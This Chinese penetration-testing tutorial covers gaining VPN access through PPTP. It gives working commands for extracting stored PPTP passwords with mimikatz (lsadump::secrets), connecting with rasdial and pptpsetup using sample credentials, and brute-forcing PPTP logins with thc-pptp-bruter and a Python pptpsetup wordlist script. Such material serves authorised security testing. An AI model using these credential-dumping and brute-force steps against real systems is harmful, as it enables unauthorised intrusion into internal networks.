Good in study, attitude and health

渗透技巧——PPTP口令的获取与爆破

0x00 前言


PPTP(即点对点隧道协议)可以使远程用户通过拨入ISP访问企业内网。

在渗透测试中,如果获得了用户的PPTP口令,就能远程拨入内网,做进一步渗透。

本文将要介绍命令行下导出PPTP配置信息和口令的方法,开源PPTP口令爆破的脚本

0x01 简介


本文将要介绍以下内容:

  • Windows系统命令行下PPTP配置信息和口令的获取
  • Windows系统命令行开启和关闭VPN连接
  • Windows系统连接PPTP的方法和细节
  • Kali系统连接PPTP的方法和细节
  • PPTP口令爆破的脚本细节

0x02 Windows系统命令行下PPTP配置信息和口令的获取


1、获取PPTP配置信息

Windows系统拨号和宽带连接的配置信息存储在固定位置,路径如下:

%APPDATA%\Microsoft\Network\Connections\Pbk\rasphone.pbk

查看该文件即可获得PPTP连接的配置信息,包括服务器IP,不包含连接用户名和口令

VPN连接的名称为VPN Connection,如下图

Alt text

PhoneNumber表示连接的服务器IP,如下图

Alt text

2、获得内网IP

ipconfig

获得内网IP,如下图

Alt text

3、获得PPTP口令

使用工具mimiaktz,命令如下:

mimikatz.exe privilege::debug token::elevate lsadump::secrets exit

获得连接用户名和口令,如下图

Alt text

4、命令行下连接VPN

rasdial "VPN Connection" zhaodg oZ7iFk25

如下图

Alt text

5、命令行关闭VPN连接

rasphone -h "VPN Connection"

0x03 Windows系统PPTP连接的方法和细节


1.

Alt text

2.

Alt text

3.

Alt text

4.选择创建新连接

5.填入服务器IP,选中稍后连接

Alt text

6.填入用户名口令

7.点击连接后,选择跳过

接下来修改VPN属性,Security->Type of VPN,选择Point to Point Tunneling Protocol(PPTP)

Alt text

注:

创建成功后,指定Point to Point Tunneling Protocol(PPTP)可缩短连接等待的时间

8.连接

0x04 Kali系统PPTP连接的方法和细节


方法1:通过界面

1.安装

apt-get install network-manager-pptp network-manager-pptp-gnome

2.

Settings->Network->VPN

Alt text

3.

Identity->Advanced...

去掉PAP,CHAP,EAP

选择Use Point-to-Point encryption(MPPE)

Alt text

注:

如果无法连接,修改文件/etc/NetworkManager/NetworkManager.conf

managed=false修改成managed=true

重启系统

方法2:通过pptpsetup

1.连接

pptpsetup --create vpn --server 5x.xxx.xxx.xx2 --username zhaodg --password oZ7iFk25 --encrypt --start

远程IP为192.168.0.1,如下图

Alt text

2.修改路由表

将默认路由表修改为远程IP

route del default
route add default gw 192.168.0.1

0x05 PPTP口令爆破


PPTP服务器默认开放1723端口

1、PPTP brute forcer

源代码:

https://github.com/BlackArch/thc-pptp-bruter

kali默认支持

通过字典爆破的命令如下:

cat wordlist | thc-pptp-bruter -u zhaodg <IP>

如下图

Alt text

注:

PPTP搭建于centos

2、编写python脚本实现

有些设备的PPTP无法使用PPTP brute forcer进行爆破

于是尝试使用python调用pptpsetup实现

通过os.popen执行命令,测试代码如下:

import os
def test_vpn(ip,name,password):
	command = 'pptpsetup --create testvpn --server '+ip+' --username '+name+' --password '+password+' --encrypt --start'
	print command
	vpn_status =  os.popen(command).read()
	print vpn_status

if __name__ == '__main__':
	test_vpn('5x.xxx.xxx.xx2','zhaodg','oZ7iFk25')

测试过程中出现bug:

如果登录成功,进程pptp不会退出,导致脚本阻塞,无法获得回显

只有结束进程pptp后,才能获得回显

所以这里需要使用子进程的方式实现:

子进程执行pptpsetup命令,父进程不等待

随之产生新的问题:

如何获得子进程的结果,判断是否登录成功

这里选择一个简单直接的方法:

等待10秒,然后执行ifconfig,如果登录成功,会产生新的网卡设备ppp0,否则,当前用户名口令错误

登录成功后,选择清理进程,执行命令:

pkill pptp

清除连接信息:

pptpsetup --delete testvpn

完整代码可参考:

https://github.com/3gstudent/Homework-of-Python/blob/master/pptp_password_hack.py

代码会读取文件wordlist,获得口令字典,对指定IP尝试连接,连接成功后记录口令,清除进程和连接

测试如下图

Alt text

0x06 小结


本文介绍了命令行下导出PPTP配置信息和口令的方法,通过命令行能够实现开启和关闭VPN连接。

实例演示了Windows和Kali系统连接PPTP的方法,最后开源了调用pptpsetup实现PPTP口令爆破的脚本,分析脚本实现细节。


LEAVE A REPLY